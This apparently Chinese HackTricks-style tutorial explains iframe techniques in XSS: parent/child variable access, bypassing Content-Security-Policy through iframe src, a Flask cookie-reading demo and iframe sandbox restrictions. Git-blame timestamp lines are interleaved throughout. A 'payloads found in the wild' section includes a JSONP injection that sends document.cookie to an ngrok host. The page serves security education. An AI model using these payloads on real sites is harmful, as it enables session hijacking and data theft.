2024-02-06 03:43:18 +00:00
# XSS中的iframes
2022-04-28 16:01:33 +00:00
2024-02-06 03:43:18 +00:00
有3种方法可以指示iframed页面的内容:
2022-04-28 16:01:33 +00:00
2024-02-06 03:43:18 +00:00
- 通过`src`指定URL( URL可能是跨源或同源)
- 通过使用`data:`协议指定内容的`src`
- 通过指定内容的`srcdoc`
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
**访问父级和子级变量**
2021-10-20 00:45:58 +00:00
```html
< html >
2023-08-03 19:12:22 +00:00
< script >
var secret = "31337s3cr37t";
< / script >
< iframe id = "if1" src = "http://127.0.1.1:8000/child.html" > < / iframe >
< iframe id = "if2" src = "child.html" > < / iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" > < / iframe >
< iframe id = "if4" src = "data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E" > < / iframe >
< script >
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
< / script >
2021-10-20 00:45:58 +00:00
< / html >
```
```html
<!-- content of child.html -->
< script >
var secret="child secret";
alert(parent.secret)
< / script >
```
2024-02-06 03:43:18 +00:00
如果您通过http服务器( 如`python3 -m http.server`) 访问前面的html, 您会注意到所有脚本都将被执行( 因为没有CSP来阻止它) 。**父级无法访问任何iframe中的`secret`变量**, **只有if2和if3这两个iframe( 被视为同一站点) 可以访问原始窗口中的秘密**。\
请注意, if4被视为具有`null`来源。
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
### 带有CSP的iframe <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
2021-10-20 00:45:58 +00:00
2021-10-20 00:55:49 +00:00
{% hint style="info" %}
2024-02-06 03:43:18 +00:00
请注意, 在以下绕过中, 对iframe页面的响应不包含任何阻止JS执行的CSP标头。
2021-10-20 00:55:49 +00:00
{% endhint %}
2023-08-03 19:12:22 +00:00
`script-src` 的`self`值不允许使用`data:`协议或`srcdoc`属性执行JS代码。\
2024-02-06 03:43:18 +00:00
然而, 即使CSP的`none`值也允许执行将URL( 完整或仅路径) 放在`src`属性中的iframes。\
2023-08-03 19:12:22 +00:00
因此, 可以通过以下方式绕过页面的CSP:
2021-10-20 00:45:58 +00:00
```html
< html >
< head >
2023-08-03 19:12:22 +00:00
< meta http-equiv = "Content-Security-Policy" content = "script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" >
2021-10-20 00:45:58 +00:00
< / head >
2023-08-03 19:12:22 +00:00
< script >
var secret = "31337s3cr37t";
< / script >
< iframe id = "if1" src = "child.html" > < / iframe >
< iframe id = "if2" src = "http://127.0.1.1:8000/child.html" > < / iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" > < / iframe >
< iframe id = "if4" src = "data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E" > < / iframe >
2021-10-20 00:45:58 +00:00
< / html >
```
2024-02-06 03:43:18 +00:00
请注意,**先前的 CSP 仅允许执行内联脚本**。\
然而,**只有 `if1` 和 `if2` 脚本将被执行,但只有 `if1` 能够访问父级秘密**。
2021-10-20 00:45:58 +00:00
2021-12-24 01:52:37 +00:00
![](< .. / . . / . gitbook / assets / image ( 627 ) ( 1 ) ( 1 ) . png > )
2021-10-20 00:45:58 +00:00
2024-02-06 03:43:18 +00:00
因此,如果您可以上传一个 JS 文件到服务器并通过 iframe 加载它,**就有可能绕过 CSP, 即使使用了 `script-src 'none'` **。这也可以**潜在地通过滥用同站点 JSONP 端点来实现**。
2021-10-20 00:45:58 +00:00
2024-02-06 03:43:18 +00:00
您可以使用以下场景测试此功能,在即使使用了 `script-src 'none'` ,也可以窃取 cookie。只需运行应用程序并在浏览器中访问它:
2021-10-20 00:45:58 +00:00
```python
import flask
from flask import Flask
app = Flask(__name__)
@app .route("/")
def index():
2023-08-03 19:12:22 +00:00
resp = flask.Response('< html > < iframe id = "if1" src = "cookie_s.html" > < / iframe > < / html > ')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
2021-10-20 00:45:58 +00:00
@app .route("/cookie_s.html")
2021-10-20 00:55:49 +00:00
def cookie_s():
2023-08-03 19:12:22 +00:00
return "< script > alert ( document . cookie ) < / script > "
2021-10-20 00:45:58 +00:00
if __name__ == "__main__":
2023-08-03 19:12:22 +00:00
app.run()
2021-10-20 00:45:58 +00:00
```
2023-08-03 19:12:22 +00:00
### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
2021-10-20 00:45:58 +00:00
```html
<!-- This one requires the data: scheme to be allowed -->
< iframe srcdoc = '<script src="data:text/javascript,alert(document.domain)"></script>' > < / iframe >
<!-- This one injects JS in a jsonp endppoint -->
< iframe srcdoc = '<script src = "/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//" > < / script >
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?) -->
< iframe src = 'data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>' > < / iframe >
```
2024-02-06 03:43:18 +00:00
### Iframe 沙盒
2021-10-20 00:45:58 +00:00
2024-02-06 03:43:18 +00:00
通过使用 `sandbox` 属性,可以对 iframe 中的内容施加额外限制。默认情况下,此属性未应用,意味着没有任何限制。
2021-10-20 00:45:58 +00:00
2024-02-06 03:43:18 +00:00
当使用时,`sandbox` 属性会施加几项限制:
2021-10-20 00:45:58 +00:00
2024-02-06 03:43:18 +00:00
- 内容被视为来自唯一来源。
- 阻止任何尝试提交表单的行为。
- 禁止执行脚本。
- 禁用对某些 API 的访问。
- 防止链接与其他浏览上下文进行交互。
- 禁止使用 `<embed>` 、`< object > `、`< applet > ` 或类似标签的插件。
- 阻止内容自身导航到内容的顶级浏览上下文。
- 阻止自动触发的功能,如视频播放或自动对焦表单控件。
2021-10-20 00:45:58 +00:00
2024-02-06 03:43:18 +00:00
该属性的值可以留空 (`sandbox=""`) 以应用所有上述限制。或者,可以将其设置为特定值的空格分隔列表,以免除 iframe 的某些限制。
2021-10-20 00:45:58 +00:00
```html
< iframe src = "demo_iframe_sandbox.htm" sandbox > < / iframe >
```
2024-02-06 03:43:18 +00:00
## SOP 中的 iframes
2022-04-28 16:01:33 +00:00
2024-02-06 03:43:18 +00:00
检查以下页面:
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md ](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md )
{% endcontent-ref %}
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md ](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md )
{% endcontent-ref %}
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md ](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md )
{% endcontent-ref %}
2022-08-04 08:54:03 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md ](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md )
{% endcontent-ref %}